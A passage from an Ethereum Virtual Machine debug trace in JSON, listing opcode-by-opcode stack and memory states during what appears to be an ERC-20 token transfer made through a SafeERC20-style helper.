9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x124","0x1dc6","0x1","0x124","0xe4","0x124","0x451"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":1105,"op":"JUMPDEST","gas":31766,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x124","0x1dc6","0x1","0x124","0xe4","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":1106,"op":"SWAP4","gas":31765,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x124","0x1dc6","0x1","0x124","0xe4","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":1107,"op":"SWAP3","gas":31762,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x124","0x124","0x1","0x124","0xe4","0x1dc6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":1108,"op":"POP","gas":31759,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x124","0x124","0x1dc6","0x124","0xe4","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":1109,"op":"POP","gas":31757,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x124","0x124","0x1dc6","0x124","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":1110,"op":"POP","gas":31755,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x124","0x124","0x1dc6","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":1111,"op":"JUMP","gas":31753,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x124","0x124","0x1dc6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7622,"op":"JUMPDEST","gas":31745,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x124","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7623,"op":"SWAP8","gas":31744,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x124","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7624,"op":"SWAP7","gas":31741,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x124","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x1","0x124","0x1c81"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7625,"op":"POP","gas":31738,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x124","0x1c81","0x80","0x0","0xe4","0x60","0x1","0x124","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7626,"op":"POP","gas":31736,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x124","0x1c81","0x80","0x0","0xe4","0x60","0x1","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7627,"op":"POP","gas":31734,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x124","0x1c81","0x80","0x0","0xe4","0x60","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7628,"op":"POP","gas":31732,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x124","0x1c81","0x80","0x0","0xe4","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7629,"op":"POP","gas":31730,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x124","0x1c81","0x80","0x0","0xe4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7630,"op":"POP","gas":31728,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x124","0x1c81","0x80","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7631,"op":"POP","gas":31726,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x124","0x1c81","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7632,"op":"JUMP","gas":31724,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x124","0x1c81"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7297,"op":"JUMPDEST","gas":31716,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000164","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","00000001f40ac09